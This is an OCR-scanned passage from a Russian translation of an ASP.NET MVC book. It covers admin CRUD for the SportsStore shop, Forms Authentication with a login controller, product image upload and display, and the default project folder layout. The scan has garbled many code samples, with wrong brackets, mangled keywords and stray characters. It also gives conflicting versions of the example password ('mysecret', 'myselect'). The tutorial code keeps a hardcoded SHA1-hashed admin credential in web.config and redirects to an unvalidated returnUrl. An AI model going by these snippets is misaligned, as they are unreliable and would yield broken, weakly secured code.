1 Green Kayak	$275.00	Edit Delete
2 Lifejacket	$48.95	Edit Delete
3 Soccer ba!!	$19.50	Edit Delete
4 Shin pads	$11.99	Edit Deteie
5 Stadium	$8.950.00	Edit Deiete	
6 Thinking cap	$16.00	Edit Delete
7 Concealed buzzer	$4.99	Edit Deiete	
8 Human chess board	$75.00	Edit Delete
9 Bling-bling King	$1,200.00	Edit Delete
Add a new product		i i 	Zj
Рис. 6.8. Удаление товара
На этом реализация CRUD-функциональности управления каталогом завершена: имеется возможность создавать, читать, обновлять и удалять записи Product.
Защита средств администрирования
Наверняка вы обратили внимание, что если развернуть приложение прямо сейчас, то любой сможет посетить страницу http: / /сервер/Admin/Index и внести беспорядок в каталог товаров. Вы должны предотвратить это, защитив доступ к AdminController с помощью пароля.
Глава 6. Приложение SportStore: администрирование и финальные усовершенствования 191
Настройка средства Forms Authentication
Платформа ASP.NET MVC построена на основе ASP.NET, поэтому вы автоматически получаете доступ к средству аутентификации с помощью форм ASP.NET Forms Authentication — универсальной системе отслеживания зарегистрированных пользователей. Ее можно подключать к широкому диапазону пользовательских интерфейсов входа в систему и хранилищ регистрационных данных, в том числе и специальных. Более подробная информация о Forms Authentication будет дана в главе 15, а пока давайте воспользуемся ее простейшим способом. Откройте файл web. config и найдите в нем узел <authentication>:
<authentication mode="Forms">
<forms loginUrl=''~/Account/LogOn" timeout="2880"/>
</authentication>
Как видите, новые приложения ASP.NET MVC уже используют Forms Authentication по умолчанию. Параметр loginUrl сообщает Forms Authentication, что при входе в систему пользователь должен быть перенаправлен на /Account/LogOn (при этом должна быть построена соответствующая страница входа).
На заметку! Еще одним популярным методом аутентификации является Windows Authentication (аутентификация Windows), при котором предполагается, что за определение контекста безопасности каждого HTTP-запроса отвечает веб-сервер (IIS). Это удобно при разработке приложений для корпоративной сети, когда сервер и все клиентские машины являются частью одного домена Windows. Приложение сможет распознавать посетителей по их регистрационным записям в домене Windows и ролям в Active Directory.
Однако Windows Authentication не особенно подходит для приложений, расположенных в публичной сети Интернет, поскольку там нет такого контекста безопасности. Именно поэтому необходимо выбирать метод Forms Authentication, который полагается на другие средства аутентификации (например, собственную базу данных регистрационных имен и паролей). Средство Forms Authentication запоминает факт регистрации посетителя в cookie-наборах браузера. Это как раз то, что требуется для приложения SportsStore.
Шаблон проекта ASRNET MVC предлагает рекомендуемую реализацию Accountcontroller (с действием LogOn, по умолчанию доступным на /Account/LogOn), которая для управления именами и паролями пользователей использует ключевое средство членства ASP.NET. Более подробные сведения о членстве и его применении в ASP.NET MVC вы узнаете в главе 15. Однако для приложения, рассматриваемого в настоящей главе, такая тяжеловесная система будет излишней. В главе 4 вы уже удалили начальный Accountcontroller из проекта. Теперь вы замените его простой альтернативой. Обновите узел <authentication> в файле web. config:
Authentication mode=''Forms">
<forms loginUrl="~/Account/LogOn” timeout="2880">
<credentialspasswordFormat="SHA1">
<user name="admin" password="e9fe51f94eadabf54dbf2fbbd57188b9abee436e" /> </credentials>
</forms>
</authentication>
Хотя большинство приложений, использующих Forms Authentication, хранят регистрационную информацию в базе данных, здесь мы обходимся более простым решением, конфигурируя жестко закодированный список имен и паролей пользователей. В настоящее время этот список включает единственное имя пользователя — admin с паролем -yselect (значение e9fe51f. . . — это хеш-значение SHA1 строки mysecret).
192 Часть I. Введение в ASP.NET MVC
Совет. Дает ли какие-то преимущества хранение хешированных паролей вместо паролей в виде открытого текста? Да, однако небольшие. Это затрудняет любому, кто читает файл web. config, использовать найденные там регистрационные записи (ему придется восстанавливать строку по хеш-значению, что, в зависимости от надежности хешированного пароля, либо очень трудно, либо вообще невозможно). Если вы не беспокоитесь, что кто-то прочитает файл web. config (например, имея уверенность, что никто не получит доступа к серверу), то можете задать пароли в виде простого текста, установив passwordFormat=”Clear". Большинства приложений это не касается, так как в них регистрационные записи вообще не будут храниться в web.config; обычно они записываются в базу данных (соответствующим образом хешированные и зашифрованные). За подробными сведениями обращайтесь в главу 15.
Использование фильтра для принудительной аутентификации
Итак, средство Forms Authentication сконфшурировано, но пока не дает никакого эффекта. Приложение по-прежнему не запрашивает регистрацию пользователя. Принудительного включения аутентификации в начало каждого метода, который требуется защитить, необходимо поместить следующий код:
if (!Request.IsAuthenticated)
FormsAuthentication.RedirectToLoginPage();
Это будет работать, но приведенные две строки кода придется вставлять в каждый создаваемый метод действия для администратора. Что если вы где-то забудете это сделать?
В состав ASP.NET MVC входит удобное средство, которое называется фильтрами. Это атрибуты .NET, которыми можно снабдить любой метод действия или контроллер, внедрив некоторую дополнительную логику в конвейер обработки запросов. Существуют разные типы фильтров, которые работают на разных стадиях конвейера: фильтры действий, фильтры обработки ошибок, фильтры авторизации. Для каждого типа предусмотрена реализация по умолчанию. Дополнительные сведения об использовании каждого типа фильтров, а также о создании собственных фильтров, можно найти в главе 9.
Пока что можно применять фильтр авторизации по умолчанию2 — [Authorize].
Просто декорируйте класс AdminController атрибутом [Authorize]:
[Authorize]
public class AdminController : Controller (
// ... и T.Д.
}
Совет. Фильтры можно присоединять к индивидуальным методам действий, но присоединение их к самому контроллеру (как в этом примере) обеспечивает их применение ко всем методам действий данного контроллера.
Какой эффект это дает? Если вы теперь попытаетесь зайти на /Admin/Index (или обратиться к любому методу AdminController), то получите сообщение об ошибке, показанное на рис. 6.9.
2 Как вы должны помнить, под аутентификацией понимается идентификация пользователя, в то время как под авторизацией — определение того, что разрешено делать конкретному пользователю. В рассматриваемом простом примере обе концепции объединяются в единое целое: мы говорим, что посетитель авторизован использовать AdminController при условии, что он аутентифицирован (т.е. зарегистрирован).
Глава 6. Приложение SportStore: администрирование и финальные усовершенствования 193
Рис. 6.9. Пользователь, не прошедший аутентификацию, перенаправляется на /Account/LogOn
Обратите внимание на поле адреса, в котором находится следующая подстрока:
/Account/Log0n?ReturnUrl=%2fAdmin%2fIndex
Она говорит о том, что средство Forms Authentication перенаправило посетителя на URL, который был сконфигурирован в web.config (при этом запись исходного запрошенного URL сохраняется в параметре Returnurl строки запроса). Однако пока еще нет ни одного зарегистрированного класса контроллера для обработки запросов этого URL, поэтому фабрика WindsorControllerFactory генерирует ошибку.
Отображение приглашения на ввод регистрационных данных
Следующим шагом будет обработка этих запросов для /Account/LogOn, для чего понадобится добавить контроллер по имени Accountcontroller с действием LogOn.
1.	В классе Accountcontroller должен быть метод под названием LogOn (), обрабатывающий запросы GET. Он визуализирует представление с приглашением ввести имя и пароль.
2.	Должна быть предусмотрена еще одна перегрузка LogOn (), которая обрабатывает запросы POST. Эта перегрузка будет обращаться к Forms Authentication для проверки достоверности пары “имя/пароль”.
3.	Если регистрационные данные действительны, средство Forms Authentication будет уведомляться о том, что посетитель должен считаться вошедшим (logged in), при этом посетитель будет перенаправлен на URL, который изначально инициировал фильтр [Authorize],
4.	Если введены неверные регистрационные данные, приглашение на ввод имени и пароля будет показано снова (с соответствующим примечанием “Try again” (Повторите попытку)).
194 Часть I. Введение в ASP.NET MVC
Чтобы реализовать описанную выше функциональность, создайте новый контроллер по имени Accountcontroller со следующими методами действий:
public class Accountcontroller : Controller
{
[AcceptVerbs(HttpVerbs.Get)] public ViewResult LogOn() {
return View();
}
[AcceptVerbs(HttpVerbs.Post)]
public ActionResult LogOn(string name, string password, string returnUrl) {
if (FormsAuthentication.Authenticate(name, password)) (
// Назначить место перенаправления по умолчанию,
// если оно не установлено
returnUrl = returnUrl ?? Url.Action("Index", "Admin");
// Установить cookie-набор и выполнить перенаправление FormsAuthentication.SetAuthCookie(name, false); return Redirect(returnUrl); ;
}
else {
ViewData["lastLoginFailed" ] = true; return View () ;
}
}
}
Для этих методов действий LogOn () также потребуется соответствующий шаблон представления. Добавьте его, щелкнув правой кнопкой мыши внутри метода LogOn () и выбрав в контекстном меню пункт Add View (Добавить представление). Снимите отметку с флажка Create a strongly typed view (Создать строго типизированное представление), поскольку для такого простого представления строгая концепция модели не нужна. В качестве мастер-страницы укажите -/Views/Shared/Admin .Master.
Ниже приведена разметка, необходимая для визуализации простой формы входа:
<%@ Page Title="" Language="C#" MasterPageFile="~/Views/Shared/Admin.Master" Inherits^"System.Web.Mvc.ViewPage" %>
<asp:Content ContentPlaceHolderID="TitleContent" runat="server"> Admin : Log in
</asp:Content>
<asp:Content ContentPlaceHolderID="MainContent" runat="server">
<hl>Log in</hl>
<% if((bool?)ViewData["lastLoginFailed"] == true) { %>
<div class="Message">
Sorry, your login attempt failed. Please try again.
</div>
<g_ 1 9-v. о J
<p>Please log in to access the administrative area:</p>
<% using(Html.BeginForm()) { %>
<div>Login name: <%= Html.TextBox("name") %></div>
<div>Password: <%= Html.Password("password") %></div>
<p><input type="submit" value="Log in" /></p> /9- 1 9- \ V о j 'ox*
</asp:Content>
Глава 6. Приложение SportStore: администрирование и финальные усовершенствования 195
Этот код будет обрабатывать попытки входа в приложение (рис. 6.10). После ввода правильных регистрационных данных (т.е. admin/myselect) посетителю будет передан cookie-набор аутентификации и разрешен доступ к методам действий AdminController.
Admrn: Log in - Internet Explorer
* i £. http:Zi!o«!hosfe65£26r'Account'’LogCniRetumUrf=%2fAdmin&2findex
Log in
Please tog in to access the administrative area:
Login name: I Password:
Рис. 6.1C. Приглашение на вход (визуализировано С использованием /Views/Account/LogOn.aspx)
Внимание! При отправке регистрационной информации из браузера на сервер ее лучше зашифровать с помощью SSL (т.е. передавать по протоколу HTTPS). Поскольку встроенный веб-сервер Visual Studio не поддерживает SSL, потребуется соответствующим образом настроить вебсервер (этот вопрос в книге не рассматривается). Подробные сведения о конфигурировании SSL можно найти в документации по IIS.
Тестируемость метода Login ()
При попытке написать модульные тесты для Login () вы столкнетесь с проблемой. В нынешнем состоянии код непосредственно связан с двумя статическими методами класса FormsAuthentication(Authenticate() и SetAuthCookie()).
В идеальном случае модульные тесты должны использовать какой-то фиктивный объект FormsAuthentication; тогда они смогут протестировать взаимодействие Login () со средством Forms Authentication (например, проверяя вызов SetAuthCookie (), только когда Authenticate () возвращает true). Однако APi-интерфейс Forms Authentication построен на основе статических членов, поэтому имитировать его непросто. Средство Forms Authentication — довольно старая часть кода, которая, в отличие от современного каркаса MVC Framework, просто не проектировалась с учетом тестируемости.
Обычный способ сделать нетестируемый код тестируемым состоит в том, чтобы поместить его в оболочку интерфейсного типа. Класс, который реализует интерфейс, создается простым делегированием всех вызовов первоначальному коду. Например, поместите следующие типы в любое место проекта WebUI:
р relic interface IFormsAuth
bool Authenticate(string name, string password);
void SetAuthCookie(string name, bool persistent);
p-ublic class FormsAuthWrapper : IFormsAuth
public bool Authenticate(string name, string password)
i
return FormsAuthentication.Authenticate(name, password);
196 Часть I. Введение в ASP.NET MVC
public void SetAuthCookie(string name, bool persistent) {
FormsAuthentication.SetAuthCookie(name, persistent);
}
}
Здесь iFormsAuth представляет методы Forms Authentication, которые необходимо вызывать. FormsAuthWrapper реализует его, делегируя его вызовы первоначальному коду. Почти так же средство Forms Authentication делается тестируемым в стандартном шаблоне Accountcontroller проекта ASP.NET MVC (который был удален в главе 4).
Фактически это тот же самый механизм, который использует System. Web. Abstractions для того, чтобы сделать тестируемыми старые классы контекста ASP.NET (вроде HttpRequest), определяя абстрактные базовые классы (например, HttpRequestBase) и подклассы (например, HttpRequestWrapper), которые просто делегируют исходный код. В Microsoft решили применять абстрактные базовые классы (с заглушками в качестве реализаций для каждого метода) вместо интерфейсов, чтобы после наследования от них можно было переопределить только необходимые методы (в случае с интерфейсами должны быть реализованы все методы).
Таким образом, передать экземпляр IFormsAuth методу Login () можно двумя способами.
•	Используя контейнер 1оС. Интерфейс IFormsAuth можно зарегистрировать как компонент ioC (с FormsAuthWrapper, сконфигурированным в качестве его активного конкретного типа) и затем сделать так, чтобы Accountcontroller требовал передачи IFormsAuth в параметре конструктора. Во время выполнения фабрика WindsorControllerFactory позаботится о предоставлении экземпляра FormsAuthWrapper. В тестах вполне достаточно будет фиктивного экземпляра IFormsAuth в качестве параметра конструктора Accountcontroller.
•	Используя специальное средство привязки модели. Для интерфейса IFormsAuth можно создать специальное средство привязки модели, который просто возвращает экземпляр FormsAuthWrapper. Как только зто специальное средство будет зарегистрировано (аналогично регистрации CartModelBinder в главе 5), любой из методов действий сможет затребовать объект IFormsAuth в качестве своего параметра. Во время выполнения специальное средство привязки модели предоставит экземпляр FormsAuthWrapper. В тестах достаточно будет фиктивного экземпляра IFormsAuth в качестве параметра соответствующего метода действия.
Оба подхода одинаково хороши. Если вы интенсивно используете контейнер 1оС, то можете предпочесть первый вариант (преимущество которого в том, что FormsAuthWrapper можно заменить другим механизмом аутентификации, даже не компилируя повторно код). В противном случае достаточно удобным будет подход на основе специального средства привязки модели.
Загрузка изображений
Разработка приложения SpotsStore завершается реализацией несколько более сложного средства: предоставление администраторам возможности загружать изображения товаров, сохранять их в базе данных и отображать на экранах со списком товаров.
Подготовка модели предметной области и базы данных
Для начала добавьте в класс Product два дополнительных поля, которые будут содержать двоичные данные и их тип MIME (определяющий формат файла: JPEG, GIF, PNG и т.д.):
[Table(Name = "Products")]
public class Product
{
// Остальная часть класса не изменяется
[Column] public byte[] ImageData { get; set; }
[Column] public string ImageMimeType { get; set; }
Глава 6. Приложение SportStore: администрирование и финальные усовершенствования 197
Затем с помощью Server Explorer (или SQL Server Management Studio) добавьте соответствующие столбцы в таблицу Products базы данных (рис. 6.11).
dbo.Products: Teb^jusCSportsStore}*		
Column Name	Data Type	Allo*- Nulfc
5? PrcductJD	int	
Name	nvarchar 0.00)	
Description	nvarchan500)	
Category	nvarcher(50j	
Price	йесТтаИб, 21	
j ► = ImsgeData	vgrfeinsfyiMAX)	
ImageMimeType		
Рис. 6.11. Добавление новых столбцов в Server Explorer
Сохраните обновленное определение таблицы, нажав комбинацию <Ctrl+S>.
Выбор файла для загрузки
Добавьте поле для загрузки файлов в /Views/Admin/Edit.aspx:
<Р>
Category: <%= Html.TextBox("Category") %>
<div><%= Html.ValidationMessage("Category") %></div>
</p>
<P>
Image:
<% if(Model.ImageData == null) { %>
None
<% } else { %>
<img src="<%= Url.Action("GetImage", "Products", new { Model. ProductID }) %>" /> <% } %>
<div>Upload new image: <input type="file" name="Image" /X/div>
</p>
<input type="submit" value="Save" />
<!— ... остальная разметка не изменяется ... —>
Обратите внимание, что если отображаемый Product уже имеет отличное от null значение ImageData, то представление пытается отобразить это изображение, генерируя дескриптор <img>, который ссылается на пока не реализованное действие ProductsController по имени Getlmage. Мы вернемся к нему очень скоро.
Малоизвестный факт о HTML-формах
Интересен тот факт, что веб-браузеры правильно загружают файлы только в том случае, если дескриптор <form> определяет значение multipart/form-data для атрибута enctype. Другими словами, для успешной загрузки дескриптор <form> должен выглядеть следующим образом:
<form enctype="multipart/form-data">...</form>
Без этого атрибута enctype браузер передаст лишь имя файла, а не его содержимое — нам такое поведение ни к чему. Инициируйте появление атрибута enctype, обновив вызов Html. BeginForm () в Edit. aspx:
<% using (Html.BeginForm("Edit", "Admin", FormMethod.Post, new { enctype = "multipart/form-data" }) ) { %>
198 Часть I. Введение в ASP.NET MVC
Конечные символы в строке выглядят подобно головоломке. Как это напоминает Perl... Но как бы то ни было, двинемся дальше.
Сохранение загруженного изображения в базе данных
Итак, теперь модель предметной области может сохранять изображения, и у вас есть представление, которое может их загружать. Значит, теперь необходимо обновить метод действия Edit (), реагирующий на запросы POST, контроллера AdminController для приема и сохранения данных загруженного изображения. Это совсем не сложно: нужно просто принять загружаемое изображение как параметр метода HttpPostedFileBase и скопировать его данные в соответствующий объект товара:
[AcceptVerbs(HttpVerbs.Post)]
public ActionResult Edit(Product product, HttpPostedFileBase image)
{
if (Modelstate.IsValid) {
if (image != null) {
product.ImageMimeType = image.ContentType;
product.ImageData = new byte[image.ContentLength] ;
image.Inputstream.Read(product.ImageData, 0, image.ContentLength);
1
productsRepository.SaveProduct(product);
Конечно, понадобится также обновить модульный тест (если он есть), который вызывает Edit (), обеспечив передачу в параметре Image некоторого значения (вроде null): в противном случае возникнет ошибка компиляции.
Вывод изображений товаров
Все необходимое для приема загружаемых изображений и сохранения их в базе данных реализовано, но пока что нет действия Getlmage, которое будет возвращать графические данные для вывода на экране. Добавьте в ProductsController следующий метод:
public FileContentResult Getlmage(int ProductID) {
Product product = (from p in productsRepository.Products
where p.ProductID == ProductID
select p) .First () ;
return File(product.ImageData, product.ImageMimeType);
}
В этом методе действия демонстрируется использование метода File О, который позволяет возвращать двоичное содержимое непосредственно в браузер. Он позволяет отправлять низкоуровневый байтовый массив (как это делается для отправки данных изображения в браузер), передавать файл с диска или подкачать содержимое System. 10. Stream в HTTP-ответ. Метод File () также является тестируемым: вместо прямого обращения к потоку ответа для передачи двоичных данных (что заставило бы эмулировать контекст HTTP в модульных тестах), он на самом деле возвращает некоторый подкласс типа FileResult, свойства которого можно проверить в модульном тесте.
Вот и все! Теперь можете загрузить изображения товаров, и они будут отображаться при повторном открытии товаров в редакторе, как показано на рис. 6.12.
Глава 6. Приложение SportStore: администрирование и финальные усовершенствования 199
Мтп: Edit "hinking cap - Internet Exsforer	' SdjUJMtJtod
, * ! £ httc;.-7leca*host568I5 'AdmWEditl₽roductID= ▼ I ! л '
Edit Thinking cap
I Name: Thinking cap
Zr.pro~e your brain, efficiency fcy 73%
I Description:
e Price: 16 00
s Category". Chess
11 Image:	•—
I j Upload new image:	Browse,.
"" i
:;	Cancel and rea,n to List
i‘—,. ---------------------—	---
Рис. 6.12. Редактор товара после загрузки и сохранения изображения товара
Пгавной целью является вывод изображении товаров для потенциальных покупателей, поэтому соответствующим образом модифицируем /Views/Shared/Productsummary, ascx: <div class="item">
<% if(Model.ImageData •= null) ( %>
<div style="float:left; margin-right:20px">
<img src="<%= Url.Action("Getlmage", "Products", new { Model. ProductID }) %>" />
</div>
<% } %>
<h3><%= Model.Name %X/h3> ... остальная разметка не изменяется ... </div>
Судя по рис. 6.13, теперь объемы продаж должны значительно возрасти.
Рис. 6.13. Публично доступный список товаров после загрузки изображений
200 Часть I. Введение в ASP.NET MVC
Упражнение: канал RSS для сообщения о новых товарах
В качестве финального расширения приложения SpotsStore давайте реализуем RSS-канал для уведомления потенциальных клиентов о новых товарах, добавленных в каталог. Для этого понадобится решить следующие задачи.
•	Добавить в Product новое поле CreateDate с соответствующим столбцом базы данных и атрибутом отображения LINQ to SQL. При сохранении нового товара его значение будет устанавливаться в DateTime.Now.
•	Создать новый контроллер RssController с действием по имени Feed, которое опрашивает репозиторий товаров (в обратном хронологическом порядке) и визуализирует результаты в RSS-канал.
•	Обновить публично доступную мастер-страницу /Views/Shared/Site .Master для уведомления браузеров о катале RSS, добавив ссылку на раздел <head>. Например:
<link rel="alternate" type="application/rss+xml"
title="New SportsStore products" href="http://yourserver/rss/feed" />
Для справки ниже приведен вывод, который должен получиться в конечном итоге:
<?xml version="l.0" encoding="utf-8" ?>
<rss vers ton—"2.C">
<channel>
<title>SportsStore new products</title>
<description>Buy all the hottest new sports gear</description>
<link>http://sportsstore.example.com/</link>
<item>
<title>Tennis racquet</title>
<description>Ideal for hitting tennis balls</description>
<link>http://example.com/tennis</link>
</item>
<item>
<title>Laser-guided bowling ball</title>
<description>A guaranteed strike, every time</description>
<link>http://example.com/tenpinbowling</link>
</item>
</channel>
</rss>
В главе 9 будет предложен пример метода действия, использующего API-интерфейс .NET под названием XDocument для создания данных RSS.
Резюме
На протяжении последних трех глав было показано, как использовать ASP.NET MVC для создания реалистичного приложения электронного магазина. Этот расширенный пример продемонстрировал многие средства каркаса (контроллеры, действия, представления, частичные представления, мастер-страницы и аутентификация Forms Authentication), наряду с связанными с ними технологиями (LINQ to SQL, Castle Windsor для IoC, NUnit и Moq для тестирования).
Вы узнали, как, согласно рабочему потоку TDD, модульные тесты управляют процессом разработки, и какую поддержку оказывает дружественный к тестам API-интерфейс ASP.NET MVC. Вы также научились строить компонентно-ориентированную архитектуру приложения с четким разделением ответственности, которая сохраняет приложение понятным и легко сопровождаемым.
В части 2 отдельные компоненты MVC Framework будут рассматриваться более подробно, что позволит получить исчерпывающее предоставление об их возможностях.
ЧАСТЬ II
ASP.NET MVC во всех деталях
К этому моменту вам уже известно, для чего была спроектирована платформа ASP.NET MVC. Вы разобрались с ее архитектурой и проектными целями. Вдобавок вы опробовали ее на примере разработки реалистичного приложения электронного магазина.
В этой части будут раскрыты все детали внутреннего устройства платформы ASP.NET MVC. Здесь вы найдете систематизированную документацию с описанием всех ее частей и возможностей, а также практические руководства и рецепты реализации широкого диапазона прикладных средств веб-приложений.
ГЛАВА 7
Общее представление о проектах ASP.NET MVC
Пройдя все этапы построения реалистичного приложения MVC под названием SportStore, вы попутно приобрели изрядный объем знаний о разработке на платформе ASP.NET MVC. Однако это был лишь один пример, не охватывающий всех средств и возможностей MVC Framework. Для того чтобы восполнить недостающее, мы предложим более систематическое описание каждого аспекта MVC Framework. В главе 8 будет рассматриваться базовая система маршрутизации. В главе 9 будет продемонстрированы возможности, доступные для построения контроллеров и действий. В главе 10 внимание будет сосредоточено на встроенном механизме представлений ASP.NET MVC. В остальных главах будут описаны другие задачи и сценарии веб-разработки, в том числе вопросы, связанные с безопасностью и развертыванием.
Чтобы не упустить из виду даже мельчайшие детали каждого компонента MVC, сначала окинем взглядом общую картину. В этой главе мы рассмотрим общее устройство приложений MVC: структуру проекта по умолчанию и соглашения по именованию, которым необходимо следовать. Вы получите полное представление о всем процессе обработки запросов и узнаете, как все компоненты платформы работают вместе.
Разработка приложений MVC в Visual Studio
Во время установки ASP.NET MVC выполняются следующие действия.
•	В глобальном кэше сборок (GAC) регистрируется сборка MVC Framework под названием System. Web .Mvc. dll, а ее копия помещается в каталог \Program FilesX Microsoft ASP.NET\ASP.NET MVC 1.OXAssemblies.
•	Впапку \Common7\IDE, через которую ASP.NET MVC интегрируется в Visual Studio, устанавливаются разнообразные шаблоны. Вот что включают эти шаблоны.
1.	Шаблоны проектов для построения новых веб-приложений ASP.NET MVC и тестовых проектов (в подпапках ProjectTemplates\CSharp\Web\1033 и Test).
2.	Шаблоны элементов для создания контроллеров, представлений, частичных представлений и мастер-страниц через пункт меню Add Item (Добавить элемент) (в подпапке ItemTemplatesXCSharpXwebXMVC).
3.	Шаблоны Т4, генерирующие код для предварительного заполнения контроллеров и представлений при их создании через пункты меню Add Controller (Добавить контроллер) и Add View (Добавить представление) (в подпапке ItemTemplatesXCSharpXWebXMVCXCodeTemplates).
Глава 7. Общее представление о проектах ASP.NET MVC 203
• Добавляется набор файлов сценариев для регистрации файлового расширения .mvc на сервере IIS. в случае, если планируется его использование (в папке \Program Files\Microsoft ASP.NET\ASP.NET MVC 1.0\Scripts). Однако обычно вам эти сценарии не применяются, потому что расширение . mvc обычно не должно появляться в URL. Если все-таки это понадобится, расширения URL можно зарегистрировать в диспетчере IIS Manager с графическим интерфейсом, как будет показано в главе 14.
При желании можно отредактировать шаблоны Visual Studio и внесенные изменения отразятся в IDE-среде. Однако для редактирования доступны только шаблоны Т4, генерирующие код, и вместо того, чтобы редактировать глобальные шаблоны, централизованно представленные в Visual Studio, имеет больше смысла редактировать специфичные для проекта копии, которые можно поместить в систему управления исходным кодом. Подробнее о механизме шаблонов Т4 и его применении в проектах ASP.NET MVC можно узнать на сайте по адресу http: //tinyurl. com/T4mvc.
Структура стандартного проекта MVC
Когда в Visual Studio создается совершенно новый проект веб-приложения ASP.NET MVC, предоставляется начальный набор папок и файлов, показанный на рис. 7.1. Некоторые из этих элементов играют специальные роли, жестко закодированные в MVC Framework (и подчиняются предопределенным соглашениям об именовании), в то время как другие имеют характер простых рекомендаций относительно структуры проекта. Эти роли и правила описаны в табл. 7.1.
Solution Explorer - Solution 'MyMvcApp" (J prej... ♦ 3 X ;J ,j >
Solution 'MyMvcApp' (1 project!
щ MyMvcApp
ЗЙ Properties
4 References
App_Data
bin
F i , j Content
Aj Sftexss
Controllers
AcccuntCcntfcller.cs
HGmeContrcller.es
j Models
- Scripts
j jquery-1.3,2-vsdccjs
-J jqway-l 3.2.js
jqueiy-13.2.min-vsdoc.js
bgj jquery-1.3.2.rnin.js
_ ] MicroscftAJax. debug Js
MicrcscftAjax,js
~~ 1 M icrosc-ftMvc Ajax.debug.js MicrcsoftMvcAjax.js
Account
C ha ngePsss ЛС rd.aspx
ChangePas5’A'0fdSuccess.aspx
,~~i LcgOn.sspx
_ ~'l Registenaspx
Home
Уя About.aspx
Index.aspx
Shared
Error, aspx
-ft LcgOnUserControl.ascx
. 7? Site.Master
Web.ccnfig
уЯ Default.aspx
Default.aspx.cs
Gfobal.asax
GlobaLasax.es
Web.config
Рис. 7.1. Окно Solution Explorer сразу после создания нового приложения ASP.NET MVC
204 Часть II. ASP.NET MVC во всех деталях
Таблица 7.1. Файлы и папки в стандартном шаблоне веб-приложения ASP.NET MVC
Папка или файл	Предполагаемое назначение	Специальные полномочия и ответственность
/App_Data	Если используется файловая база данных (например, файл * ,mdf для SQL Server Express Edition или файл * .mdb для Microsoft Access), она размещается именно в этой папке. Сюда также можно поместить другие файлы частных данных (например, *. xml), поскольку IIS не не обслуживает файлы из этой папки. Тем не менее, можно получать доступ к ним из кода. Файловые базы данных на основе SQL не могут использоваться ни с одной из полноценных версий SQL Server (отличных от Express Edition), поэтому на практике они применяются редко.	Сервер IIS не обслуживает содержимое этой папки для внешнего мира. Если в системе установлена версия SQL Server Express Edition, а строка подключения содержит AttachDbFileName=IDataEirectory I MyDatabase. mdf, будет автоматически создана и подключена файловая база данных /App_Data/MyDatabase.mdf.
/bin	Здесь находится скомпилированная сборка .NET веб-приложения MVC и все прочие сборки, на которые она ссылается (как в традиционном приложении ASP.NET WebForms).	Сервер IIS рассчитывает здесь найти ваши сборки DLL. Во время компиляции Visual Studio копирует в эту папку все сборки DLL, на которые производятся ссылки (за исключением тех, что находятся в глобальном кэше сборок (GAC)). Сервер IIS не обслуживает содержимое этой папки для внешнего мира.
/Content	Это место для статических, публично доступных файлов (например, *. css и изображения).	Отсутствуют; это просто рекомендация. При желании эту папку можно удалить, но все равно нужно где-то хранить изображения и файлы CSS, и данная папка — вполне подходящее место.
/Controllers	Здесь находятся классы контроллеров (т.е. классы, унаследованные от Controller ИЛИ реализующие IController).	Отсутствуют; это просто рекомендация. Не имеет значения, поместите вы контроллеры непосредственно в эту папку, в ее подпапку или куда-то в другое место проекта, потому что все они компилируются в одну сборку. Классы контроллеров также могут быть помещены в другие ссылаемые проекты или сборки. Первоначальное содержимое этой папки можно удалить (Homecontroller и Accountcontroller) — они просто демон стрируют, с чего можно начать.
/Models	Это место для размещения классов, представляющих модель предметной области. Однако во всех приложениях, за исключением наиболее простых, модель предметной области лучше помещать в отдельный проект библиотеки классов С#. В этом случае папку /Models можно либо удалить, либо использовать не для полноценных моделей предметной области, а для простых презентационных моделей, которые существуют только для передачи данных от контроллеров к представлениям.	Отсутствуют; эту папку можно удалить.
Глава 7. Общее представление о проектах ASP.NET MVC 205
Папка или файл	Предполагаемое назначение	Специальные полномочия и ответственность
/Scripts	Это еще одно место для размещения статических, публично доступных файлов, но предназначенное в основном для файлов кода JavaScript (*. j s). Файлы Mi его soft*.js предназначены для поддержки вспомогательных методов ASP.NET MVC Aj ах. *, а j query*. j s, необходимы в случае использования библиотеки jQuery (см. главу 12).	Отсутствуют; эту папку можно удалить. Однако если вы планируется использование вспомогательных методов Aj ах. *, то потребуется ссылаться на файлы Microsoft* . j s, расположенные в другом месте.
/Views	Здесь находятся представления (обычно файлы *. aspx) и частичные представления (обычно файлы *. asex).	По соглашению представления для класса контроллера XyzController находятся в папке /views/Ху z. Представление по умолчанию для действия DoSomething () класса XyzController должно быть помещено в/Views/Xyz/DoSomething.aspx (или/Views/Xyz/DoSomething.asex, если он представляет элемент управления, а не целую страницу). Если изначально доступные классы HomeContrcller ИЛИ Accountcontroller не используются, соответствующие представления можно удалить.
/Views/Shared	Здесь находятся шаблоны представлений, которые не ассоциированы с определенным контроллером — например, мастер-ст-раницы (* .Master) и любые совместно используемые представления или частичные представления.	Если файл /Views/Xyz/DoSomething. aspx (или . asex) не может быть обнаружен, то следующее место, где будет произведен ПОИСК — это /Views/Shared/ DoSomething.aspx.
/Views/Web.config	Это не главный файл web. config приложения. Он содержит только директиву, инструктирующую веб-сервер не обслуживать файлы *. aspx из папки /views (так как они должны быть визуализированы контроллером, а не вызываться непосредственно как файлы *. aspx в WebForms). Этот файл также содержит конфигурационные настройки, необходимые для того, чтобы стандартный компилятор страниц ASP.NET ASPX правильно работал с синтаксисом шаблонов представлений ASRNET MVC.	Обеспечивает правильность компиляции и выполнения приложения (как описано в предыдущем столбце).
/Default.aspx	Этот файл не имеет особого отношения к ASRNET MVC, но необходим для совместимости с сервером I IS 6, которому требуется “страница по умолчанию” для сайта. Когда Default .aspx выполняется, он просто передает управление системе маршрутизации.	Этот файл удалять нельзя, иначе приложение не будет работать под управлением сервера IIS 6 (хотя на сервере IIS 7, запущенном в режиме Integrated Pipeline (Интегрированный конвейер) все будет в порядке).
/Global.asax	В этом файле определен глобальный объект приложения ASP.NET. Его класс отделенного кода (/Global. asax. cs) — это место для регистрации конфигурации маршрутизации, а также для установки кода, который будет выполняться при инициализации или останове приложения либо при возникновении необработанного исключения. Работает в точности, как файл Global. asax из ASRNET WebForms.	ASP.NET ожидает найти файл с этим именем, но не обслуживает его для внешнего мира.
/Web.config	В этом файле определена конфигурация приложения. Далее в этой главе мы еще поговорим об этом важном файле.	ASRNET (и IIS 7) ожидает найти файл с этим именем, но не обслуживает его для внешнего мира.
206 Часть II. ASP.NET MVC во всех деталях
